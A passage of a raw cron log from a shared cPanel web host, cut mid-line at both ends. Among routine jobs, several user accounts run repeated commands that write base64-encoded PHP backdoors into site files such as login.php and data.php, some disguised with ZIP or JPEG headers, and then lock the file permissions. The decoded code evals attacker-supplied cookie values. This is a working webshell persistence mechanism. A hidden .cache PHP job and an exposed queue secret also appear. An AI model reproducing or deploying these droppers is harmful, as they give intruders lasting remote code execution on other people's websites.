CAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:16:02 medusa CROND[9452]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:16:02 medusa CROND[9453]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:16:02 medusa CROND[9457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:16:02 medusa CROND[9458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:16:02 medusa CROND[9459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:16:02 medusa CROND[9461]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:16:02 medusa CROND[9462]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:17:02 medusa CROND[1736]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:17:02 medusa CROND[1737]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:17:02 medusa CROND[1738]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:17:02 medusa CROND[1740]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 14:17:02 medusa CROND[1741]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:17:02 medusa CROND[1743]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:17:02 medusa CROND[1745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:17:02 medusa CROND[1746]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:17:02 medusa CROND[1750]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:17:02 medusa CROND[1751]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:17:02 medusa CROND[1749]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:17:02 medusa CROND[1752]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:17:02 medusa CROND[1757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:18:02 medusa CROND[26293]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:18:02 medusa CROND[26294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:18:02 medusa CROND[26295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:18:02 medusa CROND[26296]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 14:18:02 medusa CROND[26299]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:18:02 medusa CROND[26300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:18:02 medusa CROND[26301]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:18:02 medusa CROND[26303]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:18:02 medusa CROND[26307]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:18:02 medusa CROND[26309]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:18:02 medusa CROND[26310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:18:02 medusa CROND[26312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:18:02 medusa CROND[26319]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:18:02 medusa CROND[26323]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9J